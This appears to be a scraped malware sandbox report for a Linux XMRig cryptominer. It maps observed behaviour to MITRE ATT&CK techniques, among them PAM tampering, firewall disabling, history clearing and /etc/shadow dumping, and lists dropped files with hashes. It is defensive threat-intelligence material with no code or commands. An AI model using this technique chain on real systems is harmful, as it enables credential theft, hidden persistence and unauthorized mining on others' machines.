Resource Development

Initial Access

Execution

Persistence

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

Clear Command History

T1070.003

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Adversary-in-the-Middle

T1557

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

OS Credential Dumping

T1003

/etc/passwd and /etc/shadow

T1003.008

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Adversary-in-the-Middle

T1557

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

config4.json

Path /config4.json
Size 2KB
SHA256 c8acef4111b8c9ef736d1ea5d726bfd1be2046a70932b10309c78c45f5403c64
MD5 0889d738724379933ab8214246f29c1d
SHA1 5befd3069e267e86d57be9822a9701987fe0cc13
SHA512 6ddf5afc87c1d4b68656c401b7d4632c6adf3f5665b21e2e59d36465ffcfe29bf10a56f2430f0dc04ee6f97a63815ee8b2e87a33ff1d0af0a516e8ff5061cda2
MD5 SHA1 SHA512

Submit Download

passwd+

Path /etc/passwd+
Size 1KB
SHA256 779a894e1776f1fb7317cb8226a94f47aeef9f0a364a223bddbc19d5b2097fc7
MD5 b52958f2c88f563f39209b1f2bf348c8
SHA1 be1bdf7d620d6e94876394996ce6223048585527
SHA512 9d30558614b481b12a8307459d2c887e8c9dac82ee956ff97ca62bb5e852197c003fd68663df720620fb6cb8af9036f99795e341b1f7a27ecdd18ae5c822f010
MD5 SHA1 SHA512

Submit Download

shadow+

Path /etc/shadow+
Size 770B
SHA256 82870aba5005deee7d75f37b4d7819fb48c8d9727bed24d9722cd48e955dd923
MD5 0b299a2c0993f68432afd2139aa11880
SHA1 bc0ce0efe52c4c446b43b81517ce9caa67b9a11b
SHA512 baffe0676015226729ad8c2d84d655ecbaa5b58149772129cd2621bb92a5a1416001048e4416e6b5d5f6f4718825bd0d6d002e38e3c5ddf499e6028302fe09e0
MD5 SHA1 SHA512

Submit Download

subuid+

Path /etc/subuid+
Size 36B
SHA256 708da4ddb78d518ece085f159baff98708a11b57e821d416f80a85512e3deb9e
MD5 73b376e61a3091ac3b5dba4b78f1cf0c
SHA1 4b96638848e80f846d3d1f1e2441cc9957341b67
SHA512 7d1f76e15b5599c4c93756662da5b4b92cd88a80c2113c60703d17845d26b8ae02c5520eb68d639cdef2bf59a25b379b0aecb8cb3cc8caac3003b560854aac6d
MD5 SHA1 SHA512

Submit Download

xmrigDaemon

Path /xmrigDaemon
Size 629KB
SHA256 0ea2d73e47b8642b24371be112fb04e455bc8577fa17911bd17793887cedeb7e
MD5 bd98e7c9ca771be14cd9229bc1636732
SHA1 4a4723378eb0268f4659f1b1d3f2be5f74e20b87
SHA512 cd641b0325242bfec608fae6d09c716d2a6519bf2aafeef025e7330c2c1e1c63d90b1b15307adcfa3d3fd4ccaff4003d4facc68038283f7b47ecdfd631380608
SSDEEP 12288:vNr8EGmp/etbb5E/QiXnn5J7tE5IavCilgG1k:+mEtBufa
MD5 SHA1 SHA512 SSDEEP

Submit Download

xmrigMiner

Path /xmrigMiner
Size 7.9MB
SHA256 e39b55b4e62f5cd54ad2a0160478107a70b3bf347e05b152307f14111a5d2d76
MD5 f0d58ebb645d2a1ac7716adf334e269e
SHA1 fc429b3de5bac4e7f2dafdbfb8ddfb58f1888f08
SHA512 677d947646918ca3c79e3d3e7c2b3486a76806c5bdadefd78506e01e520559b02f9ec127b45502ba9fa70c98c28f5a953edc941e1e020a8f5b621f27fb8af990
SSDEEP 98304:7G/sdlVlNUxipb29DvYmuyC4DFrocApvlfPE1o1EchItUi3rg+ArImHnidrZTKSP:Zlh1GtUi3r+JCSUGOAgLFBnzD
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads